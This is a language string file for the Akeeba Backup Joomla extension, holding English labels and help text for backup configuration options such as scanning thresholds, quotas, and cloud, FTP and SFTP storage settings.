COM_AKEEBABACKUP_CONFIG_LARGEDIRTHRESHOLD_DESCRIPTION="When a directory contains over this number of files or directories it is considered \"large\". Therefore, Akeeba Backup will try re-scanning it in the next step to avoid backup timeouts. A value too small will cause the backup to considerably slow down. Increase - unless you get timeout errors - to speed up the backup."
COM_AKEEBABACKUP_CONFIG_LARGEDIRTHRESHOLD_TITLE="Large directory threshold"
COM_AKEEBABACKUP_CONFIG_LARGEFILE_DESCRIPTION="Files larger than this threshold will be packed in their own step to prevent the possibility of a timeout. Values between 2 and 10Mb work best on most servers."
COM_AKEEBABACKUP_CONFIG_LARGEFILE_TITLE="Large file threshold"
COM_AKEEBABACKUP_CONFIG_LARGE_DIRTHRESHOLD_DESCRIPTION="How many directories to scan on each step. Recommended setting: 50. Larger values make the backup marginally faster but more likely to time out."
COM_AKEEBABACKUP_CONFIG_LARGE_DIRTHRESHOLD_TITLE="Directory scanning batch size"
COM_AKEEBABACKUP_CONFIG_LARGE_FILESTHRESHOLD_DESCRIPTION="How many files to scan and compress on each step. Recommended setting: 100. Larger values make the backup marginally faster but more likely to time out or run out of memory."
COM_AKEEBABACKUP_CONFIG_LARGE_FILESTHRESHOLD_TITLE="File scanning batch size"
COM_AKEEBABACKUP_CONFIG_LBL_CONFWIZ_AFTER="After Akeeba Backup has finished configuring itself you can take a backup or fine tune its configuration manually."
COM_AKEEBABACKUP_CONFIG_LBL_CONFWIZ_INTRO="It looks like you have not configured Akeeba Backup yet. Click on the Configuration Wizard button below to let it configure itself."
COM_AKEEBABACKUP_CONFIG_LEGACYAPI_ENABLED_DESC="The Legacy Front-end Backup API allows you to take scheduled backups using URL access tools such as wget, curl. You need to enable this option if you plan on taking backups with your host's CRON server using wget or curl; or when you plan on using a third party CRON service such as WebCRON.org. Whenever possible we recommend using the Native CLI CRON script or the Akeeba Backup JSON API instead as they are much more secure options."
COM_AKEEBABACKUP_CONFIG_LEGACYAPI_ENABLED_LABEL="Enable Legacy Front-end Backup API (remote CRON jobs)"
COM_AKEEBABACKUP_CONFIG_LOGLEVEL_DEBUG="All Information and Debug"
COM_AKEEBABACKUP_CONFIG_LOGLEVEL_DESCRIPTION="This option determines how verbose the backup log will be."
COM_AKEEBABACKUP_CONFIG_LOGLEVEL_ERROR="Errors only"
COM_AKEEBABACKUP_CONFIG_LOGLEVEL_INFO="All Information"
COM_AKEEBABACKUP_CONFIG_LOGLEVEL_NONE="None"
COM_AKEEBABACKUP_CONFIG_LOGLEVEL_TITLE="Log Level"
COM_AKEEBABACKUP_CONFIG_LOGLEVEL_WARNING="Errors and Warnings"
COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_ENABLE_DESCRIPTION="Automatically remove old backups based on when the day they were taken on. WARNING: ENABLING THIS WILL CAUSE ALL OTHER QUOTA SETTINGS (COUNT AND SIZE) TO BE IGNORED."
COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_ENABLE_TITLE="Enable maximum backup age quotas"
COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_KEEPDAY_DESCRIPTION="Backups taken on this day of the month will not be deleted. Leave the default setting, 1, to always preserve the backups taken on the 1st day of the month"
COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_KEEPDAY_TITLE="Don't delete backups taken on this day of the month"
COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_MAXDAYS_DESCRIPTION="Backups older than this number of days will be automatically deleted. Leave the default setting, 31, to keep all backups from the last month"
COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_MAXDAYS_TITLE="Maximum backup age, in days"
COM_AKEEBABACKUP_CONFIG_MAXEXECTIME_DESCRIPTION="Each Akeeba Backup step will last <em>at most</em> as long as defined here. Use a value lower than your PHP maximum execution time. Usually, setting this to 10 seconds is adequate, except on very restrictive hosts.<strong>Tip</strong>: Select Custom and type in your desired value if it's not on the list."
COM_AKEEBABACKUP_CONFIG_MAXEXECTIME_TITLE="Maximum execution time"
COM_AKEEBABACKUP_CONFIG_MAXPACKET_DESCRIPTION="The maximum size, in bytes, of each extended INSERT statement. It is recommended to keep it low enough so that MySQL doesn't throw an error while restoring your database dump."
COM_AKEEBABACKUP_CONFIG_MAXPACKET_TITLE="Max packet size for extended INSERTs"
COM_AKEEBABACKUP_CONFIG_MINEXECTIME_DESCRIPTION="Each Akeeba Backup step will last <em>at least</em> as long as defined here. This is required to work around anti-DoS security solutions. If you get 403 Forbidden or AJAX errors, please increase this setting. Setting it to 0 disables this feature.<br/><br/><strong>Tip</strong>: Select Custom and type in your desired value if it's not on the list."
COM_AKEEBABACKUP_CONFIG_MINEXECTIME_TITLE="Minimum execution time"
COM_AKEEBABACKUP_CONFIG_MYSQL5FEATURES_ENABLE_DESCRIPTION="When enabled, Akeeba Backup will try to dump these advanced MySQL 5 database entities. If your backup hangs during the backup stage, you might have to disable this."
COM_AKEEBABACKUP_CONFIG_MYSQL5FEATURES_ENABLE_TITLE="Dump PROCEDUREs, FUNCTIONs and TRIGGERs"
COM_AKEEBABACKUP_CONFIG_MYSQLNOBTREE_TIP="Removes USING BTREE and USING HASH from table index definitions in dump files. This is required for restoring to servers which have either of the indexing engines turned off (e.g. on newest XAMPP versions). WARNING! THIS MAY CAUSE RESTORATION PROBLEMS ON SOME SERVERS."
COM_AKEEBABACKUP_CONFIG_MYSQLNOBTREE_TITLE="Skip index engine"
COM_AKEEBABACKUP_CONFIG_NODEPENDENCIES_DESCRIPTION="When enabled, Akeeba Backup will not track dependencies between tables and views. Use this only when you have hundreds of database tables and you are not using MySQL VIEWs, FUNCTIONs, PROCEDUREs, TRIGGERs or tables using the (extremely rarely used) TEMPORARY, MEMORY, MERGE or FEDERATED engines."
COM_AKEEBABACKUP_CONFIG_NODEPENDENCIES_TITLE="No dependency tracking"
COM_AKEEBABACKUP_CONFIG_OBSOLETEQUOTA_ENABLE_DESCRIPTION="Total number of obsolete records (backups whose files have been deleted) to keep in the Manage Backups page. Set to 0 for no limit."
COM_AKEEBABACKUP_CONFIG_OBSOLETEQUOTA_ENABLE_TITLE="Obsolete records to keep"
COM_AKEEBABACKUP_CONFIG_LOGFILES_TITLE="Delete obsolete log files"
COM_AKEEBABACKUP_CONFIG_LOGFILES_DESCRIPTION="Automatically delete the log files of successful backup records. The log file of the latest backup record participates in calculations but is never removed. If your backup profile has a post-processing engine other than None or Send By Email only records with the Remote backup status participate in this log files quota setting. If your backup profile has the post-processing engine None or Send By Email only records with the OK or Remote backup status participate in this log files quota setting. This feature runs after the obsolete records quota; the obsolete records quota may also remove old log files."
COM_AKEEBABACKUP_CONFIG_LOGFILES_TYPE_TITLE="Obsolete log files quota type"
COM_AKEEBABACKUP_CONFIG_LOGFILES_TYPE_DESCRIPTION="Choose the method used to determine which old log files to remove."
COM_AKEEBABACKUP_CONFIG_LOGFILES_TYPE_SIZE="Maximum Size"
COM_AKEEBABACKUP_CONFIG_LOGFILES_TYPE_COUNT="Count"
COM_AKEEBABACKUP_CONFIG_LOGFILES_TYPE_DAYS="Maximum Age"
COM_AKEEBABACKUP_CONFIG_LOGFILES_COUNT_TITLE="Log files count"
COM_AKEEBABACKUP_CONFIG_LOGFILES_COUNT_DESCRIPTION="How many log files to keep. The log file of the latest backup taken may participate in the count but will never be deleted. Only the log files of successful backup records will be considered for removal."
COM_AKEEBABACKUP_CONFIG_LOGFILES_SIZE_TITLE="Log files size (Megabytes)"
COM_AKEEBABACKUP_CONFIG_LOGFILES_SIZE_DESCRIPTION="The maximum total size of log files to keep. The log file of the latest backup taken may participate in the calculation but will never be deleted. Only the log files of successful backup records will be considered for removal."
COM_AKEEBABACKUP_CONFIG_LOGFILES_DAYS_TITLE="Log files age (days)"
COM_AKEEBABACKUP_CONFIG_LOGFILES_DAYS_DESCRIPTION="The maximum age in days of log files to keep. The log file of the latest backup taken will never be deleted. Only the log files of successful backup records will be considered for removal."
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_ACCESSTOKEN_DESCRIPTION="Filled in automatically when you complete the authentication Step 1 above. Do NOT share the same token on many sites. Instead, authenticate each site separately."
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_ACCESSTOKEN_TITLE="Access Token"
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_REFRESHDRIVES_TITLE="Reload the list of Drives"
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_DRIVE_TITLE="Drive"
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_DRIVE_DESCRIPTION="Choose which Drive (OneDrive Personal, OneDrive for Business or SharePoint) your account has access to will be used to store the backups. You need to finish authentication before this list is populated. Only makes sense when you have access to more than one OneDrive drives (e.g. your Microsoft account is part of an organisation's subscription). If unsure use the “Default Drive” option which uses your default personal Drive — typically equivalent to the first “Drive (OneDrive Personal)” option you see below."
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_DRIVE_OPT_PERSONAL="Drive (OneDrive Personal)"
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_DIRECTORY_DESCRIPTION="The directory within the Microsoft OneDrive drive to store the backup archives. Please use forward slashes, not backslashes and always put a forward slash in front. Correct: /some/thing. Wrong: some\\thing. A single forward slash means that archives will be stored in the drive's root."
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_DIRECTORY_TITLE="Directory"
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_REFRESHTOKEN_DESCRIPTION="Filled in automatically when you complete the authentication Step 1 above. Do NOT share the same token on many sites. Instead, authenticate each site separately."
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_REFRESHTOKEN_TITLE="Refresh Token"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_ACTIONLOGS_ENABLED_DESCRIPTION="In Joomla! 3.9 and later user actions are logged inside the database, creating a table with millions of rows and slowing down your backup. Check this option to exclude such data."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_ACTIONLOGS_ENABLED_TITLE="Joomla! User Actions Log"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_DATECONDITIONAL_ENABLED_DESCRIPTION="When enabled, only files modified after a specific date and time will be backed up."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_DATECONDITIONAL_ENABLED_TITLE="Date conditional filter"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_DATECONDITIONAL_START_DESCRIPTION="Akeeba Backup will backup files modified after this date and time. The format is YYYY-MM-DD hh:mm:ss. All dates and times are expressed in your server's timezone."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_DATECONDITIONAL_START_TITLE="Backup files modified after"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_ERRORLOGS_ENABLED_DESCRIPTION="Automatically exclude error log files, e.g. <code>error_log</code>, no matter where they are on the site being backed up. These files change their size while the backup is in progress which may lead to corrupt backups."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_ERRORLOGS_ENABLED_TITLE="Exclude error logs"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_FINDER_ENABLED_DESCRIPTION="Exclude non-critical Smart Search content from the backup. You are strongly recommended to do that for performance reasons. After restoring your site, please go to Components, Smart Search and click on the Index button to rebuild this data."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_FINDER_ENABLED_TITLE="Skip Finder terms and taxonomy tables"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_HOSTSTATS_ENABLED_DESCRIPTION="When enabled, Akeeba Backup will automatically exclude the most common host-specific folders for storing access statistics for your site. These folders are read-only by your web site user, causing restoration issues if they are backed up."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_INSTALLEDTABLES_ENABLED_TITLE="Only back up tables installed by Joomla! and its extensions"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_INSTALLEDTABLES_ENABLED_DESCRIPTION="Enabling this filter will skip backing up any table in the database which has not been installed by Joomla! itself, or one of its extensions. The information on installed tables is provided by the SQL files included with Joomla! and its extensions. This filter is useful when you have a lot of junk / copied over tables (think about <code>#__users_oldcopy_20250910</code> and you don't want to or know how to weed them out one by one. Always test restore the backup on a development / staging server when using this filter to ensure your configuration did not result in any tables you wanted to use being accidentally left out."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_INSTALLEDTABLES_ONLYJOOMLA_TITLE="Limit filtering to tables with Joomla's prefix"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_INSTALLEDTABLES_ONLYJOOMLA_DESCRIPTION="Enabling this option will limit the “Only back up tables installed by Joomla! and its extensions” filter to tables whose name starts with the Joomla! database table name prefix. This is useful if you have third party scripts running outside Joomla which install their tables without a table prefix, or with a different table prefix, and you want to include them in your backup."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_INSTALLEDTABLES_EXTRA_TITLE="Explicitly allow these tables"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_INSTALLEDTABLES_EXTRA_DESCRIPTION="Enter a comma separated list of database tables to include in the backup even if they would otherwise be excluded by the “Only back up tables installed by Joomla! and its extensions filter. This is useful to include the tables of extensions which install their tables using a method other than Joomla's built-in database schema management. Tip: If you see a table you want to include in the backup having a red icon in the Exclude Database Tables page, add it to this list."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_HOSTSTATS_ENABLED_TITLE="Exclude host-specific stats folders"
COM_AKEEBABACKUP_CONFIG_OUTDIR_DESCRIPTION="This is the directory on your server where Akeeba Backup will store the backup archives and the backup log file. You can use the following macros:<ul><li><strong>[DEFAULT_OUTPUT]</strong> The default output directory</li><li><strong>[SITEROOT]</strong> Your site's root directory</li><li><strong>[ROOTPARENT]</strong> One directory above your site's root</li></ul>"
COM_AKEEBABACKUP_CONFIG_OUTDIR_TITLE="Output Directory"
COM_AKEEBABACKUP_CONFIG_OVH_CONTAINERURL_DESCRIPTION="THIS IS NOT THE STORAGE CONTAINER NAME! Go to your OVH cloud manager, Servers, expand your server, click on Storage. You will see the Container URL written there above the list of your files. Copy it here."
COM_AKEEBABACKUP_CONFIG_OVH_CONTAINERURL_TITLE="Container URL"
COM_AKEEBABACKUP_CONFIG_OVH_DIRECTORY_DESCRIPTION="The directory within the OVH object storage container to store the backup archives. To store everything on the container's root, please leave blank."
COM_AKEEBABACKUP_CONFIG_OVH_DIRECTORY_TITLE="Directory"
COM_AKEEBABACKUP_CONFIG_OVH_PASSWORD_DESCRIPTION="THIS IS NOT YOUR OVH LOGIN PASSWORD! Create a user from your OVH cloud manager, Servers, expand your server, click on OpenStack, click on Add User. Copy the Password of the created user here."
COM_AKEEBABACKUP_CONFIG_OVH_PASSWORD_TITLE="OpenStack Password"
COM_AKEEBABACKUP_CONFIG_OVH_PROJECTID_DESCRIPTION="Your OVH cloud server project ID. In OVH's cloud manager expand your Server and click on the Storage link. In the main page area you see the name of the server and right below it there is a 32 character alphanumeric string such as a0b1c2d3e4f56789abcdef0123456789. This is the Project ID you need to enter here."
COM_AKEEBABACKUP_CONFIG_OVH_PROJECTID_TITLE="Project ID"
COM_AKEEBABACKUP_CONFIG_OVH_USERNAME_DESCRIPTION="THIS IS NOT YOUR OVH LOGIN USERNAME! Create a user from your OVH cloud manager, Servers, expand your server, click on OpenStack, click on Add User. Copy the ID of the created user here."
COM_AKEEBABACKUP_CONFIG_OVH_USERNAME_TITLE="OpenStack Username"
COM_AKEEBABACKUP_CONFIG_PARTSIZE_DESCRIPTION="Akeeba Backup can create split (multi-part) archives in order to work around size restrictions under various circumstances. This option defines the maximum size of each archive part. If you reduce it to 0, the multi-part feature is disabled.</br><strong>Important:</strong>If you are using a data processing engine which transfers archives to a remote location (e.g. cloud storage) use a setting around 1 to 5 Mb for optimal results."
COM_AKEEBABACKUP_CONFIG_PARTSIZE_TITLE="Part size for split archives"
COM_AKEEBABACKUP_CONFIG_PCLOUD_ACCESSTOKEN_DESCRIPTION="<strong>WARNING! AUTHENTICATION IS NOT WORKING BECAUSE OF ISSUES ON pCloud's API SERVER. THIS POST-PROCESSING ENGINE WILL BE REMOVED IN A FUTURE VERSION OF AKEEBA BACKUP.</strong>. Filled in automatically when you complete the authentication Step 1 above. If you are linking another site to the same pCloud account you should copy the access token from your already set up site and not try to run the authentication step 1 again."
COM_AKEEBABACKUP_CONFIG_PCLOUD_ACCESSTOKEN_TITLE="Access Token"
COM_AKEEBABACKUP_CONFIG_PCLOUD_DIRECTORY_DESCRIPTION="The name of the directory on pCloud where the backup archive will be stored. <strong>The directory MUST already exist, otherwise the upload will fail.</strong>"
COM_AKEEBABACKUP_CONFIG_PCLOUD_DIRECTORY_TITLE="Directory"
COM_AKEEBABACKUP_CONFIG_PERMISSIONS_0600="0600 – Tight security. might cause problems on low end servers"
COM_AKEEBABACKUP_CONFIG_PERMISSIONS_0644="0644 – Medium security, for use on single site servers"
COM_AKEEBABACKUP_CONFIG_PERMISSIONS_0666="0666 – Lax security, maximum compatibility with commercial hosts"
COM_AKEEBABACKUP_CONFIG_PERMISSIONS_DESCRIPTION="Set up the file permissions for the backup archive files. Only applies on Linux, macOS, BSD and other UNIX-style hosts (NOT Windows). If unsure leave as 0666. Changing that may make it impossible to download and / or delete backup archive files over FTP and SFTP. If your server is using PHP-FPM or otherwise runs PHP under the same user as your site's system account use 0600 for best security."
COM_AKEEBABACKUP_CONFIG_PERMISSIONS_TITLE="Archive permissions"
COM_AKEEBABACKUP_CONFIG_PLATFORM="Site overrides"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBDATABASE_DESCRIPTION="The name of the database to backup. Only used when the site database override checkbox is ticked."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBDATABASE_TITLE="Database name"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBDRIVER_DESCRIPTION="Select the database driver to use when connecting to the site's database. Only used when the site database override checkbox is ticked."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBDRIVER_TITLE="Database driver"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBHOST_DESCRIPTION="The hostname or IP address of the database server. Usually localhost or 127.0.0.1. Only used when the site database override checkbox is ticked."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBHOST_TITLE="Database server hostname"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBPASSWORD_DESCRIPTION="The password to connect to the site's database. Only used when the site database override checkbox is ticked."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBPASSWORD_TITLE="Password"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBPORT_DESCRIPTION="(optional) The port the database server listens to. If you are unsure, leave this option empty to use the default port (3306 for MySQL servers). Only used when the site database override checkbox is ticked."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBPORT_TITLE="Database server port"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBPREFIX_DESCRIPTION="The prefix of the database to backup including the underscore, e.g. <code>ex4m_</code>. Only used when the site database override checkbox is ticked."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBPREFIX_TITLE="Prefix"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBENCRYPTION_TITLE="Connect with an SSL certificate"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBENCRYPTION_DESCRIPTION="Should we connect to the database using an SSL certificate? This can be used instead of username and password authentication (encrypted connection with certificate authentication) or <em>on top of</em> username and password authentication (encrypted connection with password authentication). If you don't know what this means set this option to No and ignore the next few options as well."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLCIPHER_TITLE="SSL/TLS Encryption Methods"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLCIPHER_DESCRIPTION="Enter a list of encryption methods for connecting with SSL certificates, separated by colons. If left empty the default list (<code>AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-CBC-SHA256:AES256-CBC-SHA384:DES-CBC3-SHA</code>) will be used (recommended)."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLCA_TITLE="Certification Authority (CA) file"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLCA_DESCRIPTION="Absolute file path to the Certification Authority (CA) certificate PEM file of your database server, e.g. <code>/home/myuser/ca.pem</code>"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLKEY_TITLE="Database user's Private Key file"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLKEY_DESCRIPTION="Absolute file path to the private key PEM file of your database user, e.g. <code>/home/myuser/myuser-key.pem</code>"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLCERT_TITLE="Database user's Public Key (Certificate) file"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLCERT_DESCRIPTION="Absolute file path to the public key (certificate) PEM file of your database user, e.g. <code>/home/myuser/myuser.pem</code>"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLVERIFYSERVERCERT_TITLE="Verify server certificate"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLVERIFYSERVERCERT_DESCRIPTION="Set to Yes to verify the certificate the server sends back to us. This is verified against the Certification Authority (CA) file you specified. If you get connection errors set this to No; some setups (especially those generated by the <code>mysql_ssl_rsa_setup</code>) may disallow a connection if certification verification is enabled. If you enable verification and the CA file field is left blank the server's certificate will be checked against the Certification Authority files your server knows about, see the <code>openssl.cafile</code> and <code>openssl.capath</code> PHP options."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBUSERNAME_DESCRIPTION="The username to connect to the site's database. Only used when the site database override checkbox is ticked."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBUSERNAME_TITLE="Username"
COM_AKEEBABACKUP_CONFIG_PLATFORM_NEWROOT_DESCRIPTION="When you have enabled the Site Root Override option above, Akeeba Backup will back up all files and directories under this site's root"
COM_AKEEBABACKUP_CONFIG_PLATFORM_NEWROOT_TITLE="Force Site Root"
COM_AKEEBABACKUP_CONFIG_PLATFORM_OVERRIDEDB_DESCRIPTION="When it is unchecked (default) Akeeba Backup will automatically back up the database the site it is installed in connects to (your Joomla! database). When checked, it will back up a different database, using the connection details you provide below."
COM_AKEEBABACKUP_CONFIG_PLATFORM_OVERRIDEDB_TITLE="Site database override"
COM_AKEEBABACKUP_CONFIG_PLATFORM_OVERRIDEROOT_DESCRIPTION="When it is unchecked (default) Akeeba Backup will use back up all files and directories under the root of the site it is installed in. When enabled, it will backup files and directories under the directory selected in Force Site Root below."
COM_AKEEBABACKUP_CONFIG_PLATFORM_OVERRIDEROOT_TITLE="Site root override"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_FTPS_DESCRIPTION="If enabled, Akeeba Backup will try to connect to your FTP server using an SSL-encrypted connection. <strong>This is not the same as SFTP, SCP or \"Secure FTP\"!</strong> Do note that if your server doesn't support this method you will get connection errors."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_FTPS_TITLE="Use FTP over SSL (FTPS)"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_HOST_DESCRIPTION="FTP server's host name, without the protocol. This means that <code>ftp://example.com</code> is <strong>invalid</strong> and <code>example.com</code> is valid. This engine only supports FTP and FTPS servers. It <u>does not</u> support SFTP, SCP and other SSH variants."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_HOST_TITLE="Host name"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_INITDIR_DESCRIPTION="The absolute <strong>FTP</strong> path to the directory where the files will be uploaded. If unsure, connect to your server with FileZilla, browse to the intended directory and copy the path appearing on the right-hand pane above the directory list. It is usually something short, like <code>/public_html</code>."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_INITDIR_TITLE="Initial directory"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_OPTSUBDIR_DESCRIPTION="The relative path to the initial directory, it will be created if it doesn't exists. Leave it empty to upload the archives directly inside the initial directory. You can use the following macros:<ul><li><strong>[HOST]</strong> The host name. WARNING! This tag doesn't work in CRON mode.</li><li><strong>[DATE]</strong> Current date</li><li><strong>[TIME]</strong> Current time</li></ul>More are available; please consult the documentation."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_OPTSUBDIR_TITLE="Subdirectory"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_PASSIVE_DESCRIPTION="Use FTP passive mode when transferring data. This is enabled by default as it is the only method which works through firewalls commonly installed on web servers. Do not deactivate unless you are certain that your web server is not behind a firewall and that your FTP server absolutely requires Active mode file transfers."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_PASSIVE_TITLE="Use passive mode"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_PASSWORD_DESCRIPTION="FTP server's password. It is usually case sensitive. If unsure, please contact your network administrator."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_PASSWORD_TITLE="Password"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_PORT_DESCRIPTION="FTP server's port. The most common setting is 21. If unsure, please contact your network administrator."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_PORT_TITLE="Port"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_TEST_DESCRIPTION="Use this button to test the FTP connection and view the connection errors on failure."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_TEST_TITLE="Test FTP connection"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_USER_DESCRIPTION="FTP server's user name. It is usually case sensitive. If unsure, please contact your network administrator."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_USER_TITLE="User name"
COM_AKEEBABACKUP_CONFIG_POSTPROCPARTS_DESCRIPTION="When enabled, Akeeba Backup will run the post-processing engine against each part as soon as it is complete. When disabled, Akeeba Backup will run the post-processing for all parts at the end of the backup process."
COM_AKEEBABACKUP_CONFIG_POSTPROCPARTS_TITLE="Process each part immediately"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_HOST_DESCRIPTION="SFTP server's host name, without the protocol. This means that <code>sftp://example.com</code> or <code>ssh://example.com</code> is <strong>invalid</strong> and must NOT be used, but <code>example.com</code> is valid and MUST be used. This engine only supports SFTP (SSH) servers. It <u>does not</u> support FTP, FTPS or any other FTP variant. It requires the PHP SSH2 extension to be installed and enabled."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_HOST_TITLE="Host name"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_INITDIR_DESCRIPTION="The absolute <strong>SFTP</strong> path (usually the same as the filesystem path) to the directory where the files will be uploaded. If unsure, connect to your server with FileZilla, browse to the intended directory and copy the path appearing on the right-hand pane above the directory list. It is usually something long, like <code>/home/myuser/public_html</code>."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_INITDIR_TITLE="Initial directory"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PASSWORD_DESCRIPTION="SFTP server's password. It is usually case sensitive. If unsure, please contact your network administrator."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PASSWORD_TITLE="Password"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PORT_DESCRIPTION="SFTP server's port. The most common setting is 22. If unsure, please contact your network administrator."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PORT_TITLE="Port"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PRIVKEY_DESCRIPTION="READ THE DOCUMENTATION BEFORE USING. The absolute filesystem path to an RSA / DSA private key file used to connect to the remote server. If it's encrypted, enter the passphrase in the password field above. If you have no idea what this is, or if you think you have to ask for support about it, leave it blank and don't ask us about it."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PRIVKEY_TITLE="Private Key File (advanced)"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PUBKEY_DESCRIPTION="READ THE DOCUMENTATION BEFORE USING. The absolute filesystem path to an RSA / DSA public key file used to connect to the remote server. If you have no idea what this is, or if you think you have to ask for support about it, leave it blank and don't ask us about it."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PUBKEY_TITLE="Public Key File (advanced)"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_TEST_DESCRIPTION="Use this button to test the SFTP connection and view the connection errors on failure."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_TEST_TITLE="Test SFTP connection"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_USER_DESCRIPTION="SFTP server's user name. It is usually case sensitive. If unsure, please contact your network administrator."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_USER_TITLE="User name"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_DIRECTORY_DESCRIPTION="The directory within your iDriveSync account where the backup archives will be stored. Leave blank or set to / to store files inside your account's root."
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_DIRECTORY_TITLE="Directory"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_NEWENDPOINT_DESCRIPTION="Starting from mid-2016, new users have to use the new API endpoint"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_NEWENDPOINT_TITLE="Use the new endpoint"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_PASSWORD_DESCRIPTION="Your iDriveSync password"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_PASSWORD_TITLE="Password"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_PVTKEY_DESCRIPTION="Your iDriveSync private key. Only if you are already using a private key in your iDriveSync account."
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_PVTKEY_TITLE="Private key (optional)"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_USERNAME_DESCRIPTION="The username or e-mail address you've used to subscribe to iDriveSync"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_USERNAME_TITLE="Username or e-mail"
